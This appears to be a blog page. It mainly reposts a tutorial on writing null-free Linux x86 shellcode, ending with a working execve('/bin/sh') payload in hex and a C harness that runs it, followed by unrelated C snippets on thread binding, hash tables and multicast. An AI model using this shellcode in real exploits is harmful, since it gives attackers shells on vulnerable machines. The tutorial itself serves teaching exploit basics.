Ive written a tutorial about bytecode writing, and I'm wondering what you guys think of it. Before I submit it to asta, I want to remove any inaccurities or something not explained properly.
So please, any advice? Any criticism is more than accepted
But above all, I hope you guys like it....
Bytecode Writing
For several types of exploits â€" such as buffer overflows and format bugs â€" it's useful to write bytecode. There are other ways to exploit them, such as the “return into libcâ€� method. Though most of these vulnerabilities are exploited using bytecode, because you have a lot more power.
Bytecode is code which can be injected into programs by exploiting vulnerabilities, and when executed it will do whatever the attacker injected into the program. Oftentimes it will create a shell, either remote or with root permissions. In this case, the bytecode is called “Shellcode�.
Let's say there's a program prone to a buffer overflow by sending something over the internet. An attacker can create bytecode, and exploit the vulnerability this way to get a shell on your computer, giving him the ability to run commands on your computer.
Or if the attacker already has access to the computer, he may inject his bytecode into a program which is ran as root. His source will be ran as root, and will give him a root shell in case that's what the source was programmed to do (and it worked properly).
I will not explain how to exploit buffer overflows or how to find the proper return address. I will only explain how to write bytecode. Knowledge about buffer overflows and such is useful, but not required. However, to be able to actually use this, you must have knowledge about the vulnerability you want to exploit. Knowledge about programming is useful as well. For the sake of brevity, I am not going to explain every concept of programming. Also, this tutorial will be about writing bytecode for Linux for the x86 architecture. If you use Windows, it won't be hard to write bytecode for Windows after reading this.
First, let's start off with a simple assembly program. Open up and create a file called “shell1.asm� with the contents:
<shell1.asm >
SECTION .text
global _start
_start:
mov eax, 4; System call 4: write();
mov ebx, 1; Argument 1: file descriptor 1 (STDOUT)
mov ecx, helloworld; Argument 2: The message to write
mov edx, 15; Argument 3: The size of the message
int 80h; Execute the systemcall
mov eax, 1; System call 1: exit();
mov ebx, 0; Argument 1: The errorcode (0).
int 80h; Execute the systemcall
SECTION .data
helloworld db "Hello, world..."
<EOF>
Now compile and execute this with the following commands (you will need the program “nasm� to do this):
<commands>
$ nasm -f elf shell1.asm
$ ld shell1.o
$ ./a.out
Hello, world...$
</commands>
As you see, it shows the “Hello, world...� message. However, this is a long way from proper bytecode. This can't be injected into a program yet for several reasons. But before I get to that, let me explain how this program works.
One note before I explain this: everything behind ';' are comments. These are ignored, and only readable when you have the source file. I won't add those here, because it will be completely explained anyway. Comments just make the file more readable.
SECTION .text
This indicates the start of the code section. This section just contains all of the code of the program.
global _start
This will make the label “_start� global, so that it can be used as begin point. See the next line.
_start:
This is a label with the name “_start�. This is the location where the execution of your program will begin. The command under this, will be the first to be executed.
mov eax, 4
Mov copies the second operand (after the comma), to the first operand (before the comma). So this copies the value “4� into the register eax. Registers are inside the processor. There are several registers. They either store a byte, a word, or a double word (dword). There are several uses for them. They can be used for storing something for a little while. This is useful, because reading or writing to registers is a lot quicker than reading or writing to the memory (since it's in the processor itself).
These registers are called “General Purpose� registers. You can modify them, although there are also registers you can not modify without some nifty tricks. At this point, only general purpose registers are important, so I won't cover the others.
A byte are 8 bits. One bit is either one or zero, so there are 2 ^ 8 = 256 possible values in a byte. Since the first possible value is zero and not one, the maximum value of one byte is 255. The registers which can store one byte are called: al, bl, cl, dl, ah, bh, ch and dh.
There are also registers that store one word. This are two bytes, thus 16 bits. There are 256 ^ 2 = 2 ^ 16 = 65536 possible values, so the maximum value is 65535. The registers which can store words are called: ax, bx, cx, dx, si, di, bp and sp.
A double word (or dword) are two words, thus 4 bytes, thus 32 bits. This means there are 65536 ^ 2 = 256 ^ 4 = 2 ^ 32 = 4294967296 values possible. So the highest number which can be stored in a dword-register is that number minus one, 4294967295. The registers that can store dwords are called: eax, ebx, ecx, edx, esi, edi, ebp and esp.
This doesn't, however, mean there are 24 general purpose registers. It seems that way, but it's not true. This is because one register is a part of another. For example, ax are the low two bytes of the register eax.
So if the register eax contains the four bytes “AA BB CC DD� (those values are hex, you should know what hex is), the register ax would be “CC DD�. When you modify this register, ax, in for example the bytes “BB AA�, eax would change as well, into “AA BB BB AA�.
The register ax are the low two bytes from eax, meaning they are the least significant two bytes. There is no register which is the high two bytes from eax, thus the most significant.
This is demonstrated below.
< Image here isn't available in this version >
The same holds true for ebx with bx, bh and bl, for ecx with cx, ch and cl and for edx with dx, dh and dl.
The remaining dword-registers are esi, edi, ebp and esp. The remaining word-registers are “si, di, bp and sp�. As you might have guessed, si are the low word (two bytes) of esi (the least significant), di the low word of edi, bp the low word of ebp and sp the low word of esp.
Keep in mind, if you change one, you change the other(s).
Now back to the source.
mov eax, 4
The eax register will become 4. But why four? To explain this, I must first explain a little bit more about bytecode.
Bytecode must be self-sufficient. You can not call a C function easily, making the bytecode work wherever you put it. For this, we need another way to execute our commands.
There is another way to execute the main C functions. This is done by “interrupt 80h�. Interrupts can be compared to functions; the source gets executed belonging to the 80h interrupt, and then it will return the normal path of the program.
Interrupt 80h is the main Linux interrupt. When you call this, you can do a lot of things. However, you must specify what exactly you want to do. Interrupt 80h has over 250 possible functions it can execute.
First we should decide what we actually want. We want to write something to the screen first. Now we need a list of possible actions of interrupt 80h. There is such a list, and it's in the file /usr/include/asm/unistd.h. You can view them all by using:
<command>
$ cat /usr/include/asm/unistd.h |grep “define __NR_�
</command>
The reason this works is just the way the file is made.
You will see the list of all possible actions, all in the following format:
#define __NR_<funcname> <funcid>
Where <funcname> is the name of the function, and <funcid> the id. Have a look at the list. We want to write to the screen. We'll use “write� for that:
#define __NR_write 4
The function id is 4. We need interrupt 80h to know this. To let it know this, we have to move it into “eax�.
This explains “mov eax, 4�. When interrrupt 80h is called, it will execute the “write� C function.
Let's move on to the next line.
mov ebx, 1
We are calling the write(); C-function. Let's have a look how to use this function. Execute the following command:
<command>
$ man 2 write
</command>
This will show the manual for “write�. The two indicates it must look for a systemcall.
Note it's definition:
ssize_t write(int fd, const void *buf, size_t count);
There are three parameters, and we need to specify them as well. The parameters are:
fd: The file descriptor to write to. We want to write to the screen. This is STDOU (Standard output). The number of this file descriptor is 1. So we want the first parameter to be 1.
buf: A pointer to the text we want to show on the screen. We want to show the message “Hello, world...�, so it must be a pointer to a place in the memory with that data.
Count: The amount of bytes we want to write to the screen. We want to write 15 bytes to the screen (the length of the message “Hello, world...�), so this parameter must be 15.
So in C, we would simply call:
write(1, “Hello, world...�, 15);
Now we need a way to specify those parameters. In assembly, using interrupt 80h, this is done with ebx, ecx and edx. Ebx is the first parameter, ecx the second, and edx the third.
Since we want the first parameter to be one, we need to move one into ebx.
This is what “mov ebx, 1� does.
mov ecx, helloworld
In this case, helloworld is a pointer. This will be defined in the last line. This pointer points to a location in the memory, containing the string “Hello, world...�. This pointer is moved into ecx, the second parameter to the write function.
mov edx, 15
The third parameter, the length of the string to write, must be put in edx.
At this point, we are done setting up the registers. We can call interrupt 80h, and it will understand exactly what we want to do. We call interrupt 80h with the following line:
int 80h
Done. The text appears on the screen (the h indicates the number is hexadecimal).
Though we are not done yet. We need to exit the program, or else we will get error message because it's trying to run malicious data.
Have a look again at the list of available commands with the 80h interrupt. Note the first line:
#define __NR_exit 1
The exit system call. Have a look at it by typing the command “man 2 exit�.
This one only requires one parameter. The status. Let's just use status 0, indicating no error.
The id of the exit systemcall is 1, so we must move that in eax. So that's what we do first:
mov eax, 1
Next, we need to move the status code into the first parameter register, ebx:
mov ebx, 0
Now we're done again, and we can call interrupt 80h. This will terminate the program:
int 80h
We have two more lines.
SECTION .data
This will mark the end of the section with the code (see the first line), and mark the section with the data.
helloworld db "Hello, world..."
This puts the text “Hello, world...� into the memory. This will be done in the size of bytes (db = define byte, dw = define word, dd = define dword). A pointer to this string will be put in the value “helloworld�. This pointer will be put into a register, so that it will print that text, hence the line “mov ecx, helloworld�.
We have a working program now, but not yet a bytecode. There are two more problems in this code, which have to be solved.
The first problem is the pointer to the string, “Hello, world...�. This won't work in bytecode because the address of it is calculated during runtime.
There are multiple solutions for this, but the most popular â€" and far most the best one â€" is the stack.
The stack is a stack of data, stored in double words. You can “push� a value in it, and then “pop� the same value out of it again. The system it uses is LIFO (Last In First Out), sometimes called FILO (First In Last Out).
When the program starts, the register ESP will be set to the highest place in memory of the stack. This is a place it may not write to. When the push command is used to write something to the stack, esp is first decreased by 4 bytes (or one dword). Then the data you want to push on the stack is stored on the location ESP points to.
The x86 architecture uses so called little-endian. This means the bytes are stored in reverse order. So “Hello, world...� is stored as “...dlrow ,olleH�.
So after pushing all this data on the stack, ESP is the pointer to the string “Hello, world...�. We can now use this as pointer for write by moving it into ecx.
Let's convert it to hexadecimal first. We want to push “...dlrow, olleH� (since it's stored in reverse), but we need the hexadecimal equivalent first. Use “man ascii� to get a list of characters. Search every character one by one, and look on the column left to it. The result will be:
2E 2E 2E 64 6C 72 6F 77 20 2C 6F 6C 6C 65 48
Now we need to push this data on the stack. Note that you are pushing dwords, so you must use 4 hexadecimal values after each other, and indicate this is a hex value. You can indicate this by either appending an 'h' to it, or prepending '0x' in front of it. I will use this last one.
Also,the last thing to push â€" the first characters â€" must always be four characters. The next example is wrong:
push 0x2E2E2E64
push 0x6C726F77
push 0x202C6F6C
push 0x6C6548
Why is this wrong? Remember it pushes dwords. The last value, however, isn't a dword. A 00-byte will be prepended, actually pushing “0x006C6548�. Since these are the first few characters, this will be shown. We must use the 00-byte at the end of the string, which will be ignored anyway, because we specified the length of the string.
Here's the right way to push the string on the stack:
push 0x2E2E2E
push 0x646C726F
push 0x77202C6F
push 0x6C6C6548
The first line is the same as “push 0x002E2E2E�.
Now, since ESP points to the last thing pushed on the stack, ESP is a pointer to the string “Hello, world...�. By moving that into ecx, it will get a pointer without using “define byte� (db):
<shell2.asm>
BITS 32
SECTION .text
global _start
_start:
; Push the string “Hello, world...� on the stack
push 0x2E2E2E; Push “...�
push 0x646C726F; Push “dlro�
push 0x77202C6F; Push “w ,o�
push 0x6C6C6548; Push “lleH�
mov eax, 4; System call 4: write();
mov ebx, 1; Argument 1: file descriptor 1 (STDOUT)
mov ecx, esp; Argument 2: The message to write
mov edx, 15; Argument 3: The size of the message
int 80h; Execute the systemcall
mov eax, 1; System call 1: exit();
mov ebx, 0; Argument 1: The errorcode (0).
int 80h; Execute the systemcall
<EOF>
I added “BITS 32� this time. This indicates it's a 32 bits file. We need this later.
There is, however, one more problem we need to fix. The data (including the bytecode) is almost always copied with string functions, such as “strcpy�.
This will copy the data until it reaches a 00-byte. This indicates the end of the string. First, let's compile our bytecode:
<command>
$ nasm shell2.asm
</command>
This creates a program which is not executable. It only contains the binary code. Great for us; that's exactly what we want. Now let's have a look at the data inside shell2:
<command>
$ hexdump -C shell2
00000000 68 2e 2e 2e 00 68 6f 72 6c 64 68 6f 2c 20 77 68 |h....horldho, wh|
00000010 48 65 6c 6c b8 04 00 00 00 bb 01 00 00 00 89 e1 |Hell............|
00000020 ba 0f 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 |................|
00000030 00 cd 80 |...|
00000033
</command>
All those 00-bytes will be seen as the end of the string. This isn't allowed, we must remove all those 00-bytes. First let's look at the source of this problem.
One of the most obvious sources is:
mov ebx, 0
This moves 0 into ebx. When this is assembled, this will become a 00-byte. However, since we are moving a dword of data, “mov ebx, 0� will actually become “mov ebx, 0x00000000�. Four 00-bytes will be compiled in. We need another way to zero this ebx register.
Xor is a logical operator. It takes two “operands�, and they will be XOR'ed. The results of XOR are:
0 xor 0 = 0
1 xor 0 = 1
0 xor 1 = 1
1 xor 1 = 0
Now if you xor something with itself, the result is always 0. There, we can xor the ebx register with itself to set it to zero:
xor ebx, ebx
Those are four 00-bytes less. But there are more.
push 0x2E2E2E
It pushes a dword, so it's modified into “0x002E2E2E�. Another 00-byte. The useful thing is, this is the 16th byte of the string. We only print 15 bytes, and the rest will be ignored. So we can change it into anything we want. We could change it into:
push 0x2E2E2E2E
And another 00-byte is gone.
mov eax, 4
This one is a bit harder. This will be compiled into “00000004�. We need to remove those 00-bytes. But note that if eax equals 0, “mov al, 4� does exactly the same thing as “mov eax, 4�. But you only copy one byte by using “mov al, 4�, so this won't be changed into “00000004�, but just remain “04�.
So if you just zero out eax first, without any 00-bytes:
xor eax, eax
And then change the low byte into four:
mov al, 4
We got the same result, without 00-bytes.
mov ebx, 1
We can do this one the same way as the last one. However, there's a quicker way. If we just zero out ebx first:
xor ebx, ebx
And then use another command, “inc�, to increase ebx with one, we also get the same result:
inc ebx
And this will be compiled slightly smaller than using mov to the low-byte.
You can do the same with the rest. The result will be shell3.asm:
<shell3.asm>
BITS 32
SECTION .text
global _start
_start:
; Push the string “Hello, world...� on the stack
push 0x2E2E2E2E; Push “....� (first '.' is ignored)
push 0x646C726F; Push “dlro�
push 0x77202C6F; Push “w ,o�
push 0x6C6C6548; Push “lleH�
; System call 4: write();
xor eax, eax; Set eax to 0
mov al, 4; Move 4 to the low byte of eax
; Argument 1: file descriptor 1 (STDOUT)
xor ebx, ebx; Set ebx to 0
inc ebx; Increase ebx to 1
mov ecx, esp; Argument 2: The message to write
; Argument 3: The size of the message
xor edx, edx; Set edx to 0
mov dl, 15; Move 15 in the low byte of edx
int 80h; Execute the systemcall
; System call 1: exit();
xor eax, eax; Set eax to 0
inc eax; Increase eax to 1
; Argument 1: The errorcode (0).
xor ebx, ebx; Set ebx to 0
int 80h; Execute the systemcall
<EOF>
Let's test it first, and then look at whether there are any 00-bytes remaining:
<commands>
$ nasm -f elf shell3.asm
$ ld shell3.o
$ ./a.out
Hello, world...$ nasm shell3.asm
$ hexdump -C shell3
00000000 68 2e 2e 2e 2e 68 6f 72 6c 64 68 6f 2c 20 77 68 |h....horldho, wh|
00000010 48 65 6c 6c 31 c0 b0 04 31 db 43 89 e1 31 d2 b2 |Hell1...1.C..1..|
00000020 0f cd 80 31 c0 40 31 db cd 80 |...1.@1...|
0000002a
</commands>
As you can see, all the 00-bytes are gone! We had to recompile it again, because “ld� puts crap in it we don't want as bytecode. We have to recompile it just by typing “nasm shell3.asm�. This will create a file “shell3�. It's not executable, but it only contains the data we need.
Let's test the bytecode. As seen above, the hexadecimal data of our bytecode is:
68 2e 2e 2e 2e 68 6f 72 6c 64 68 6f 2c 20 77 68 48 65 6c 6c 31 c0 b0 04 31 db 43 89 e1 31 d2 b2 0f cd 80 31 c0 40 31 db cd 80
We will make a C-file to test it. You will need to put \x before every of the numbers, to indicate it's hexadecimal to the C compiler, and remove the spaces:
\x68\x2e\x2e\x2e\x2e\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20\x77\x68\x48\x65\x6c\x6c\x31\xc0\xb0\x04\x31\xdb\x43\x89\xe1\x31\xd2\xb2\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80
Here's the file to run this with:
<testshell.c>
char* bytecode =
"\x68\x2e\x2e\x2e\x2e\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20"
"\x77\x68\x48\x65\x6c\x6c\x31\xc0\xb0\x04\x31\xdb\x43\x89"
"\xe1\x31\xd2\xb2\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80";
int main()
{
void (*f)() = (void*)bytecode;
f();
}
<EOF>
This will create a function, f, whose address is the bytecode. When calling “f();�, it will be executed. Here's how to actually run this:
<commands>
$ make testshell
$ ./testshell
Hello, world...
</commands>
Congratulations! You have made a bytecode.
However, why would you want to execute a write on the screen? That's pretty useless.
Now let's write an actual shellcode. All it has to do is execute “/bin/sh�. Have a look at the interrupt 80h list again, and find the interrupt we can use for this:
#define __NR_execve 11
Look at the manual (“man 2 execve�).
int execve(const char *filename, char *const argv[], char *const envp]);
Think about what we have to do (don't forget to read the manual properly).
What we have to do:
- Set eax to 11, to specify the execve call.
- Put a pointer to the file to run in ebx. Make sure it ends with a 00-byte to specify the end of the filename.
- Create a pointer to the pointer of the filename, and make sure there are four 00-bytes after it to specify the end of the argv array. Put this in ecx.
- Put a pointer to four 00-bytes to specify the end of the envp structure.
The best way is to put this all in the stack:
<shell4.asm>
BITS 32
SECTION .text
global _start
_start:
; First push a 0-dword to the stack, to specify the end of the
; string /bin//sh
xor eax, eax; Set eax to 0
push eax; Push this
; Push /bin//sh to the stack
; We use two slashes because we MUST push 4 bytes a time. And
; this will work fine...
push 0x68732F2F; Push "hs//"
push 0x6E69622F; Push "nib/"
; Copy the pointer of this to ebx: the program to run
mov ebx, esp; Set argument 1
; Push a 00-dword (4 00-bytes) to indicate the end of the array
; eax is still 0 (done before)
push eax; Push the 0-dword
; The pointer to this dword is the last argument, since we don't
; want any environment pointer.
mov edx, esp; Set argument 3
; Push the pointer to the /bin//sh string
push ebx; Push the pointer
; The pointer to this is the argument array, argument 2
mov ecx, esp; Set argument 2
; Now we have to specify we want call 11, execve
; eax is 0 already
mov al, 11; Set eax to 11
int 80h; Run the interrupt to execute it
; Exit the program
xor ebx, ebx; Use parameter 0
mov al, 1; Set eax to 1 (exit call)
int 80h; Execute it
<EOF>
You should understand this by now.
Now try to run it again:
<commands>
$ nasm -f elf shell4.asm
$ ld shell4.o
$ ./a.out
sh-2.05b$
</commands>
We have a shell! This isn't root, because the code isn't ran as root. Let's first check it for 00-bytes:
<commands>
$ nasm shell4.asm
$ hexdump -C shell4
00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 |1.Ph//shh/bin..P|
00000010 89 e2 53 89 e1 b0 0b cd 80 31 db b0 01 cd 80 |..S......1.....|
0000001f
</commands>
No 00-bytes. Now let's test it as C-file:
<shelltest.c>
char* shellcode =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x31"
"\xdb\xb0\x01\xcd\x80";
int main()
{
void (*f)() = (void*)shellcode;
f();
}
<EOF>
<commands>
$ make shelltest
$ ./shelltest
sh-2.05b$
</commands>
One problem here, though. Most programs temporarily drop their rights, so that they can recover them later. Our shellcode must first get those rights back. It won't harm to do it when the rights aren't dropped, but it won't work if you don't do it when the rights are dropped. So you should always do it.
The rights must be recovered using the function setreuid();. Try to make this yourself, you should be able to do this. I've gotten you far enough, and I don't want script-kiddies to steal everything here.
And the rest should be pretty easy, as long as you know C.
--
Search in shivacherukuri.tech@blogger.com
Sunday, February 20, 2011
Byte code writing
Binding a thread/process to a spu
Please go through the following sample call for binding a processor thread to a spu:
# cat nu_ht.c sample_itc.c
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>
#define _PSTAT64
#include <sys/pstat.h>
#define MAXCPUS (8)
typedef uint64_t pcarray[2][4][MAXCPUS][2]; pcarray pca;
pthread_spu_t check_spu = -1;
void* busy_thrd(void *); /* this thread busy loops in a processor */
void* pstat_thrd(void *); /* this thread continuously monitors pstat call on sibiling thread */
int setarray(int t);
int main(int argc, char* argv[])
{
pthread_t bthrd, pthrd;
pthread_spu_t spu1, spu2;
printf ("where do you want to run busy thread: ");
scanf ("%d", &spu1);
printf ("where do you want to run pstat thread: ");
scanf ("%d", &spu2);
printf ("Where do you want to check: ");
scanf ("%d", &check_spu);
if (pthread_create(&bthrd, 0, busy_thrd,(void *) &spu1) != 0) {
printf("Printing busy thread create failed\n");
exit(0);
}
else {
printf("Printing thread id = %d created.\n", bthrd);
}
if (pthread_create(&pthrd, 0, pstat_thrd,(void *) &spu2) != 0) {
printf("Printing pstat thread create failed\n");
exit(0);
}
else {
printf("Printing thread id = %d created.\n", pthrd);
}
// Now unblock suspended threads.
// pthread_continue(pthrd);
// pthread_continue(bthrd);
// Wait for both threads to finish
pthread_join(pthrd, 0);
pthread_join(bthrd, 0);
printf("main ends after threads %d and %d\n", pthrd, bthrd);
return 0;
}
void* busy_thrd(void *p)
{
pthread_spu_t spu = *((pthread_spu_t *) p);
pthread_spu_t ans_spu;
printf ("We are in busy thread on spu: %d\n", *((int *) p));
if (pthread_processor_bind_np (PTHREAD_BIND_FORCED_NP, &ans_spu,
spu, PTHREAD_SELFTID_NP) != 0) {
printf("Printing busy thread bind failed.\n");
}
else
printf ("Busy thread> Bind to spu, %d .... SUCESS\n", ans_spu);
while (1);
}
void* pstat_thrd(void *p)
{
pthread_spu_t spu = *((pthread_spu_t *) p);
pthread_spu_t ans_spu;
int cpu, state, oldt, newt, cpus, r;
unsigned int counter = 0;
printf ("We are in pstat thread on spu: %d\n", *((int *) p));
if (pthread_processor_bind_np (PTHREAD_BIND_FORCED_NP, &ans_spu,
spu, PTHREAD_SELFTID_NP) != 0) {
printf("Printing pstat thread bind failed.\n");
}
else
printf ("pstat thread> Bind to spu, %d .... SUCESS\n", ans_spu);
cpus = setarray(oldt = 0);
newt = 1;
while ( cpus > 0 ) {
r = setarray(newt);
if ( cpus > r )
cpus = r;
for ( state=0; state<4; ++state )
// for ( cpu=0; cpu<cpus; ++cpu ) {
if ( ( pca[newt][state][check_spu][1] < pca[oldt][state][check_spu][1] ) &&
( pca[newt][state][check_spu][0] <= pca[oldt][state][check_spu][0] ) ) {
printf("pca[%d][%3d]=%llu.%llu <",state,check_spu,
pca[newt][state][check_spu][0],pca[newt][state][check_spu][1] );
printf("pca[%d][%3d]=%llu.%llu\n",state,check_spu,
pca[oldt][state][check_spu][0],pca[oldt][state][check_spu][1] );
}
// }
newt = 1 - newt;
oldt = 1 - oldt;
}
}
int setarray(int t) {
int cpu,r;
struct pst_processor pgp[MAXCPUS];
if ( ( r = pstat_getprocessor(&pgp[0],sizeof(pgp[0]),MAXCPUS,0) ) <= 0 ) {
perror("pstat_getprocessor");
exit(1);
}
for ( cpu=0; cpu<r; ++cpu) {
pca[t][0][cpu][0] = pgp[cpu].psp_usercycles.psc_hi;
pca[t][0][cpu][1] = pgp[cpu].psp_usercycles.psc_lo;
pca[t][1][cpu][0] = pgp[cpu].psp_systemcycles.psc_hi;
pca[t][1][cpu][1] = pgp[cpu].psp_systemcycles.psc_lo;
pca[t][2][cpu][0] = pgp[cpu].psp_interruptcycles.psc_hi;
pca[t][2][cpu][1] = pgp[cpu].psp_interruptcycles.psc_lo;
pca[t][3][cpu][0] = pgp[cpu].psp_idlecycles.psc_hi;
pca[t][3][cpu][1] = pgp[cpu].psp_idlecycles.psc_lo;
}
return r;
}
sample_itc.c
#include <ia64/sys/kern_inline.h>
#include <stdio.h>
#include <pthread.h>
#include <stdlib.h>
#include <assert.h>
main() {
unsigned long old, new;
pthread_spu_t spu;
if ( pthread_processor_bind_np(PTHREAD_BIND_FORCED_NP, &spu,
PTHREAD_SPUNOCHANGE_NP,
PTHREAD_SELFTID_NP) != 0) {
printf("ERROR!! Unable to get processor bind info.\n");
perror("ERROR!! Compute(processor bind info error)");
exit (-10);
}
printf("Compute thread: processor bind = %d\n", spu);
while (1) {
if (old >= (new = _MOV_FROM_AR(_AREG_ITC))) {
printf ("old: %lx, new: %lx\n", old, new);
assert (0);
}
old = new;
}
}
#
[tech] Hash example in C
FYI,,
http://www.c.happycodings.com/Data_Structures/code4.html
Hash example
Basic hash example
#include <stdio.h>
#include <stdlib.h>
#define HASHSIZE 1000
#define MAXLINE 1024
typedef struct tnode {
char *data;
struct tnode *next;
} node;
void htable_init(node *hashtable); // fire up hashtable
void htable_insert(node *hashtable, char *str); // insert data into hashtable
void htable_resolve(node *hashtable, int loc, char *str); // resolve collisions in hashtable
void htable_display(node *hashtable); // display hashtable
int htable_delete(node *hashtable, char *str); // delete an entry from hashtable
int htable_hash(char *str); // hash data for hashtable
int main(void) {
char line[MAXLINE];
node *hashtable;
hashtable = (node *)malloc(HASHSIZE * sizeof(node));
htable_init(hashtable);
while((fgets(line, MAXLINE, stdin)) != NULL)
htable_insert(hashtable, line);
htable_display(hashtable);
return 0;
}
/* fire up hashtable */
void htable_init(node *hashtable) {
int i = 0;
for(i = 0; i < HASHSIZE; i++)
hashtable[i].data = NULL, hashtable[i].next = NULL;
}
/* insert data into hashtable */
void htable_insert(node *hashtable, char *str) {
int index = 0;
/*
// determine hash function
*/
index = htable_hash(str);
if(hashtable[index].data != NULL) {
/*
// collision occurs - resolve by chaining
*/
htable_resolve(hashtable, index, str);
} else {
hashtable[index].data = calloc(strlen(str) + 1, sizeof(char));
strcpy(hashtable[index].data, str);
}
}
/* hash data for hashtable */
int htable_hash(char *str) {
int index = 0;
char *tmp = NULL;
tmp = calloc(strlen(str) + 1, sizeof(char));
strcpy(tmp, str);
while(*tmp) {
index += *tmp;
tmp++;
}
index = index % HASHSIZE;
return index;
}
/* resolve collisions in hashtable */
void htable_resolve(node *hashtable, int loc, char *str) {
node *tmp;
tmp = hashtable + loc;
while(tmp->next != NULL)
tmp = tmp->next;
tmp->next = (node *)malloc(sizeof(node));
tmp->next->data = calloc(strlen(str) + 1, sizeof(char));
strcpy(tmp->next->data, str);
tmp->next->next = NULL;
}
/* display hashtable */
void htable_display(node *hashtable) {
int i = 0;
node *target;
for(i = 0; i < HASHSIZE; i++) {
if(hashtable[i].data != NULL) {
target = hashtable + i;
while(target)
/* printf("location: %d, data: %s", i, target->data), target = target->next; */
printf("%s", target->data), target = target->next;
} /* if */
} /* for */
}
/* delete an entry from hashtable */
int htable_delete(node *hashtable, char *str) {
node *bla;
node *blb;
char *tmp = NULL;
int index = 0;
index = htable_hash(str);
/* no item at this location */
if(hashtable[index].data == NULL)
return 1;
/* only one item at this location */
if(hashtable[index].next == NULL) {
if(strcmp(hashtable[index].data, str) == 0) {
/* item found */
tmp = hashtable[index].data;
hashtable[index].data = NULL;
free(tmp);
}
} else {
/* there is a chaining case */
bla = hashtable + index;
/* linked list similar */
while(bla->next != NULL) {
if(strcmp(bla->next->data, str) == 0) {
blb = bla->next;
if(bla->next->next)
bla->next = bla->next->next;
else
bla->next = NULL;
free(blb);
} /* if */
} /* while */
} /* else */
return 0;
}
FW: endianness of a machine?
1 #include <stdio.h>
2
3 int main (int argc, char *argv[]) {
4
5 int i = 0x0001;
6 if(*((char*)&i))
7 printf("LITTLE");
8 else
9 printf ("BIG");
10
11 printf ("value is: %x %x", i, (char)i);
12 }
Reverse of string without using extra memory or swaping
http://www.allinterview.com/showanswers/16431.html
/* Following code does as intended */
#include <stdio.h>
#define REVERSE_STRING(X) Rstring(X, *(X), strlen(X)-1)
void Rstring( char *str, char c, int index )
{
if( index != 0 )
Rstring( str, *(str+(strlen(str))-index),
index-1);
*(str+index) = c;
}
int main( void )
{
char str[] = "Dharmendra Patel";
printf("Actual string is [%s]\n", str);
REVERSE_STRING(str);
printf("Reversed string is [%s]\n", str);
return 0;
}
Wednesday, January 19, 2011
Basic Hash example
#include < stdio.h>
#include < stdlib.h>
#define HASHSIZE 1000
#define MAXLINE 1024
typedef struct tnode {
char *data;
struct tnode *next;
} node;
void htable_init(node *hashtable); // fire up hashtable
void htable_insert(node *hashtable, char *str); // insert data into hashtable
void htable_resolve(node *hashtable, int loc, char *str); // resolve collisions in hashtable
void htable_display(node *hashtable); // display hashtable
int htable_delete(node *hashtable, char *str); // delete an entry from hashtable
int htable_hash(char *str); // hash data for hashtable
int main(void) {
char line[MAXLINE];
node *hashtable;
hashtable = (node *)malloc(HASHSIZE * sizeof(node));
htable_init(hashtable);
while((fgets(line, MAXLINE, stdin)) != NULL)
htable_insert(hashtable, line);
htable_display(hashtable);
return 0;
}
/* fire up hashtable */
void htable_init(node *hashtable) {
int i = 0;
for(i = 0; i < HASHSIZE; i++)
hashtable[i].data = NULL, hashtable[i].next = NULL;
}
/* insert data into hashtable */
void htable_insert(node *hashtable, char *str) {
int index = 0;
/*
// determine hash function
*/
index = htable_hash(str);
if(hashtable[index].data != NULL) {
/*
// collision occurs - resolve by chaining
*/
htable_resolve(hashtable, index, str);
} else {
hashtable[index].data = calloc(strlen(str) + 1, sizeof(char));
strcpy(hashtable[index].data, str);
}
}
/* hash data for hashtable */
int htable_hash(char *str) {
int index = 0;
char *tmp = NULL;
tmp = calloc(strlen(str) + 1, sizeof(char));
strcpy(tmp, str);
while(*tmp) {
index += *tmp;
tmp++;
}
index = index % HASHSIZE;
return index;
}
/* resolve collisions in hashtable */
void htable_resolve(node *hashtable, int loc, char *str) {
node *tmp;
tmp = hashtable + loc;
while(tmp->next != NULL)
tmp = tmp->next;
tmp->next = (node *)malloc(sizeof(node));
tmp->next->data = calloc(strlen(str) + 1, sizeof(char));
strcpy(tmp->next->data, str);
tmp->next->next = NULL;
}
/* display hashtable */
void htable_display(node *hashtable) {
int i = 0;
node *target;
for(i = 0; i < HASHSIZE; i++) {
if(hashtable[i].data != NULL) {
target = hashtable + i;
while(target)
/* printf("location: %d, data: %s", i, target->data), target = target->next; */
printf("%s", target->data), target = target->next;
} /* if */
} /* for */
}
/* delete an entry from hashtable */
int htable_delete(node *hashtable, char *str) {
node *bla;
node *blb;
char *tmp = NULL;
int index = 0;
index = htable_hash(str);
/* no item at this location */
if(hashtable[index].data == NULL)
return 1;
/* only one item at this location */
if(hashtable[index].next == NULL) {
if(strcmp(hashtable[index].data, str) == 0) {
/* item found */
tmp = hashtable[index].data;
hashtable[index].data = NULL;
free(tmp);
}
} else {
/* there is a chaining case */
bla = hashtable + index;
/* linked list similar */
while(bla->next != NULL) {
if(strcmp(bla->next->data, str) == 0) {
blb = bla->next;
if(bla->next->next)
bla->next = bla->next->next;
else
bla->next = NULL;
free(blb);
} /* if */
} /* while */
} /* else */
return 0;
}
Multicast datagrams example
Sending Multicast Datagrams
Sending a multicast datagram is easy: The sender simply specifies a multicast address as the destination of an ordinary sendto(2) system call.
Receiving Multicast Datagrams
To receive multicast packets, an application must first request that the host join a particular multicast group. This is done using another call to setsockopt(2):
struct ip_mreq mreq;
setsockopt(sock,IPPROTO_IP,IP_ADD_MEMBERSHIP,&mreq,sizeof(mreq));
The definition of struct ip_mreq is as follows:
struct ip_mreq {
struct in_addr imr_multiaddr; /* multicast group to join */
struct in_addr imr_interface; /* interface to join on */
}
For now, imr_interface can be safely set to INADDR_ANY to join on the default multicast network interface.
